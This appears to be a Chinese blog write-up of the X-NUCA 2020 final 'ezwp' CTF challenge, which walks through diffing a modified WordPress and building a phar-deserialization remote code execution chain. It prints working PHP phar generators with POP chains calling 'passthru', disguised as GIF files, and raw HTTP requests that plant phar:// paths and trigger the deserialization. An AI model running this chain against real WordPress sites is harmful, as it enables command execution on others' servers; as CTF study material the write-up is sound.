X-NUCA 2020 final ezwp
本文最后更新于 34 天前,其中的信息可能已经有所发展或是发生改变。

环境构建

Win10+php7.3.4+mysql5.7

解题思路

diff源码

题目给了源码,可以先确定指纹信息。

WP的指纹信息在网页源码中也可以确认

这个框架版本在比赛时是最新的框架,搜了一圈没有先成的漏洞利用,那么就只能从插件漏洞、源码魔改、甚至0day这些方向去思考。

compare之后发现有几个文件是不一样的,这对于同一个版本的WordPress来说是不合理的,只能认为是作者魔改过了,那么就一处处看过去,确定作者想让我们挖掘的攻击面。

wp-admin/includes/class-wp-screen.php

阅读源码,可以大致推断这里似乎删除了身份验证。

wp-admin/includes/file.php

这里增加了文件检测,限制了php文件。

wp-admin/includes/post.php

数组减少了一个参数$file。

wp-admin/post.php

这份文件总共修改了三处,两处做了和上面的wp-admin/includes/post.php一样的操作

这里的$_POST[‘thumb’]参数删掉了wp_basename()函数的处理。

wp-content/plugins

这里总共有四个插件,all-in-one-event-calendar、classic-editor、contact-from-7、wp-user,其中contact-from-7这个插件是可以查到高危漏洞的,版本也符合。

wp-includes/post.php

这里的$file参数也是去掉了wp_basename的处理,换成了basename函数的处理。

wp-includes/Requests/Utility/FilteredIterator.php

这里直接上了一个反序列化的点

攻击面确定

根据魔改过的几个关键词,可以找到利用 phar 拓展 php 反序列化漏洞攻击面这篇文章,里面分析了WordPress的Phar攻击面,其中利用的几个文件跟作者魔改过的文件类似,这是2017年提交的漏洞,在网络上可以大概搜到一些攻击方式,可以初步确认这题是要通过Phar反序列化进行漏洞攻击。

同理,上面提到了插件 contact-from-7 的高危漏洞,这里也是另一种攻击路径,参见WordPress contact_form_7_v5.0.3 插件 权限提升、任意文件读取漏洞分析

这里作者预期解是通过contact-form-7进行权限提升,将phar写入/tmp/1.log,再利用phar反序列化漏洞执行命令。这里github有现成的poc.js,但是这里的插件作者经过了修改,需要绕过meta_input(会过滤poc的meta_input而无法写入form表单),以至于当时调试的时候没有写入表单,数据没有POST成功,所以这条路没有打通。

如果要做反序列化漏洞,需要找到能利用的魔术方法pop链,并且能上传phar文件。上传文件可以注册一个账号到后台上传,剩下的就是挖掘pop链,也就是代码审计了。

WordPress曾经的pop链挖掘学习

回来看这篇参考文章,利用 phar 拓展 php 反序列化漏洞攻击面,里面pop链方式与该题作者魔改过的地方有几个相同处,可以通过该pop链来重写作者的链,以下内容摘自该文。

寻找任意执行代码点

首先寻找能够执行任意代码的类方法:

wp-includes/Requests/Utility/FilteredIterator.php

class Requests_Utility_FilteredIterator extends ArrayIterator {
    /**
    * Callback to run as a filter
    *
    * @var callable
    */
    protected $callback;
    ...
    public function current() {
        $value = parent::current();
        $value = call_user_func($this->callback, $value);
        return $value;
    }
}

寻找使用foreach的魔术方法

该类继承自ArrayIterator,返回当前被内部指针指向的数组单元的值,可以通过foreach等数组遍历来触发调用。接下来在WordPress中找到一个使用了foreach的魔术方法。该文献在WooCommerce插件中找到了能利用的类。

wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php

lass WC_Log_Handler_File extends WC_Log_Handler {
    protected $handles = array();
    /*......*/
    public function __destruct() {
        foreach ( $this->handles as $handle ) {
            if ( is_resource( $handle ) ) {
                fclose( $handle ); // @codingStandardsIgnoreLine.
            }
        }
    }
    /*......*/
}

phar,生成后修改后缀名gif上传:

<?php
    class Requests_Utility_FilteredIterator extends ArrayIterator {
        protected $callback;
        public function __construct($data, $callback) {
            parent::__construct($data);
            $this->callback = $callback;
        }
    }

    class WC_Log_Handler_File {
        protected $handles;
        public function __construct() {
            $this->handles = new Requests_Utility_FilteredIterator(array('id'), 'passthru');
        }
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头,伪造文件类型
    $o = new WC_Log_Handler_File();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

触发phar反序列化点

接下来就是寻找一个能触发phar文件反序列化的点,这个点可以是文件操作函数,参数需要可控。

wp-includes/post.php

function wp_get_attachment_thumb_file( $post_id = 0 ) {
    $post_id = (int) $post_id;
    if ( !$post = get_post( $post_id ) )
        return false;
    if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )
        return false;

    $file = get_attached_file( $post->ID );

    if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {
        /**
         * Filters the attachment thumbnail file path.
         *
         * @since 2.1.0
         *
         * @param string $thumbfile File path to the attachment thumbnail.
         * @param int    $post_id   Attachment ID.
         */
        return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
    }
    return false;
}

其中关键点在if语句中

if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) 

这里的$thumbfile传入了file_exist函数,根据$thumbfile = str_replace(basename($file), $imagedata['thumb'], $file),如果basename($file)$file相同的话,那么$thumbfile的值就是$imagedata['thumb']的值。先来看$file是如何获取到的:

wp-includes/post.php

function get_attached_file( $attachment_id, $unfiltered = false ) {
    $file = get_post_meta( $attachment_id, '_wp_attached_file', true );

    // If the file is relative, prepend upload dir.
    if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
        $file = $uploads['basedir'] . "/$file";
    }

    if ( $unfiltered ) {
        return $file;
    }

    /**
     * Filters the attached file based on the given ID.
     *
     * @since 2.1.0
     *
     * @param string $file          Path to attached file.
     * @param int    $attachment_id Attachment ID.
     */
    return apply_filters( 'get_attached_file', $file, $attachment_id );
}

如果$file是类似于windows盘符的路径Z:\Z,正则匹配就会失败,$file就不会拼接其他东西,此时就可以保证basename($file)$file相同。

发送如下数据包来调用设置$file的值:

POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 147
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close

_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-
admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editpost&post_type=attachment&post_ID=11&file=Z:\Z

发送如下数据包来设置$imagedata['thumb']的值。其中_wpnonce可在修改页面中获取:

POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 184
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close

_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-
admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editattachment&post_ID=11&thumb=phar://./wp-content/uploads/2018/08/phar-1.gif/blah.txt

最后通过XMLRPC调用”wp.getMediaItem”这个方法来调用wp_get_attachment_thumb_file()函数来触发反序列化。

思路总结

该链挖掘方式是先找到任意代码执行函数,通过能触发foreach的魔术方法调用,最后通过xmlrpc调用函数触发反序列化。那么这题思路也是一样的,这里的任意代码执行点不变,需要找到一个能触发foreach的魔术方法,以及找到能触发文件操作函数的点,由于xmlrpc被删了,我们还需要找到能调用wp_get_attachment_thumb_file()的点。

phar构造

上面说过,任意代码执行点位于 wp-includes/Requests/Utility/FilteredIterator.php,回想前面Compare的时候删掉了__wakeup时的unset($this->callback),可以直接确定是利用点。

class Requests_Utility_FilteredIterator extends ArrayIterator {
    /**
    * Callback to run as a filter
    *
    * @var callable
    */
    protected $callback;
    ...
    public function current() {
        $value = parent::current();
        $value = call_user_func($this->callback, $value);
        return $value;
    }
}

接下来就是找能触发foreach的魔术方法,根据前面文章提示WordPress中主文件没有符合条件的类,我们注意力可以放在插件中,也就是前面提到的四个插件,其中all-in-one-event-calendar插件中存在__toString符合条件。

    public function __toString()
    {
        $attributes = array();
        foreach ($this->attributes as $name => $value) {
            $attributes[] = sprintf('%s: %s', $name, str_replace("\n", '', var_export($value, true)));
        }

        $repr = array(get_class($this).'('.implode(', ', $attributes));

        if (count($this->nodes)) {
            foreach ($this->nodes as $name => $node) {
                $len = strlen($name) + 4;
                $noderepr = array();
                foreach (explode("\n", (string) $node) as $line) {
                    $noderepr[] = str_repeat(' ', $len).$line;
                }

                $repr[] = sprintf('  %s: %s', $name, ltrim(implode("\n", $noderepr)));
            }

            $repr[] = ')';
        } else {
            $repr[0] .= ')';
        }

        return implode("\n", $repr);
    }

以及该插件中存在__destruct方法同样也可以,比__toString更好触发

    /**
     * Destructor
     *
     * Here processing of globals is made - values are replaced, callbacks
     * are executed and globals are restored to the previous state.
     *
     * @return void Destructor does not return
     */
    public function __destruct() {
        // replace globals from our internal store
        $restore = array();
        foreach ( $this->_preserve as $name => $class ) {
            if (
                ! isset( $GLOBALS[$name] ) ||
                ! ( $GLOBALS[$name] instanceof $class )
            ) {
                $restore[$name] = NULL;
                if ( isset( $GLOBALS[$name] ) ) {
                    $restore[$name] = $GLOBALS[$name];
                }
                $GLOBALS[$name] = $this->_restorables[$name];
            }
        }
        // execute callbacks
        foreach ( $this->_callbacks as $callback ) {
            call_user_func( $callback );
        }
        // restore globals to previous state
        foreach ( $restore as $name => $object ) {
            if ( NULL === $object ) {
                unset( $GLOBALS[$name] );
            } else {
                $GLOBALS[$name] = $object;
            }
        }
        // destroy local references
        foreach ( $this->_restorables as $name => $object ) {
            unset( $object, $this->_restorables[$name] );
        }
        if ( AI1EC_DEBUG ) {
            // __destruct is called twice if facebook extension is installed
            // still can't find the reason, this fixes it but prevent other plugins
            // __destruct() so let's just use it in dev until we fix this.
            exit();
        }
    }

构造phar,这里作者过滤了php,所以使用短标签。

<?php

class Requests_Utility_FilteredIterator extends ArrayIterator
{
    protected $callback;

    public function __construct($data, $callback)
    {
        parent::__construct($data);
        $this->callback = $callback;
    }
}

class Ai1ec_Shutdown_Controller
{
    protected $_preserve;

    public function __construct($_preserve)
    {
        $this->_preserve = $_preserve;
    }

}

// pop
$ruf = new Requests_Utility_FilteredIterator(array('id'), 'passthru');
$o = new Ai1ec_Shutdown_Controller($ruf);
// construct
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?= __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头,伪造文件类型
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

生成的phar文件修改后缀名上传,图片ID为12。

同样利用上面的链,POST提交数据,需要修改_wpnonce和post_ID

POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1

Cookie: wordpress_=aurora%7C1629898313%7CB2UVa93rgqrKr4ywVIGoLLdFpLUGxGdKqsSvgEI7SEH%7C51859be6b4a1ec17689b2c32f47363b465a90784568f35f4349811d36fbbf931; UM_distinctid=17a9a08e6d9743-02b8dbd2df4777-d7e1739-1fa400-17a9a08e6da7ab; CNZZDATA5082706=cnzz_eid%3D628858937-1626078343-%26ntime%3D1626078343; wordpress_logged_in_=aurora%7C1629898313%7CB2UVa93rgqrKr4ywVIGoLLdFpLUGxGdKqsSvgEI7SEH%7C2efab257cdda286e556efea974870fffe7975a7a2852e3047a1bc75badfdd89c; wp-settings-time-3=1629726103
Connection: close
Content-Length: 709

_wpnonce=a81720ec34&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D12%26action%3Dedit&action=editpost&post_type=attachment&post_ID=12&post_name=phar&file=D:\aaa

在发一个包,需要修改_wpnonce,post_ID与thumb

POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Cookie: wordpress_=aurora%7C1629898313%7CB2UVa93rgqrKr4ywVIGoLLdFpLUGxGdKqsSvgEI7SEH%7C51859be6b4a1ec17689b2c32f47363b465a90784568f35f4349811d36fbbf931; UM_distinctid=17a9a08e6d9743-02b8dbd2df4777-d7e1739-1fa400-17a9a08e6da7ab; CNZZDATA5082706=cnzz_eid%3D628858937-1626078343-%26ntime%3D1626078343; wordpress_logged_in_=aurora%7C1629898313%7CB2UVa93rgqrKr4ywVIGoLLdFpLUGxGdKqsSvgEI7SEH%7C2efab257cdda286e556efea974870fffe7975a7a2852e3047a1bc75badfdd89c; wp-settings-time-3=1629726103
Connection: close
Content-Length: 172

_wpnonce=a81720ec34&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D12%26action%3Dedit&action=editattachment&post_ID=12&thumb=phar://../wp-content/uploads/2021/08/phar.gif

触发wp_get_attachment_thumb_file()

接下来就是找wp_get_attachment_thumb_file(),会发现出题人删掉了xmlrpc.php文件,但是依然可以在别的文件中找到wp_get_attachment_thumb_file(),该函数分别出现在media.php的image_size_input_fields和image_downsize函数中,这两个都能利用。

跟进后可以在async-upload.php文件中找到了对id赋值的函数,

if ( isset( $_REQUEST['attachment_id'] ) && intval( $_REQUEST['attachment_id'] ) && $_REQUEST['fetch'] ) {
	$id   = intval( $_REQUEST['attachment_id'] );
	$post = get_post( $id );
	if ( 'attachment' !== $post->post_type ) {
		wp_die( __( 'Invalid post type.' ) );
	}

在这里重新传入attachment_id为图片id,以及fetch=3即可。

参考

xnuca2020 final ezwp题解

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇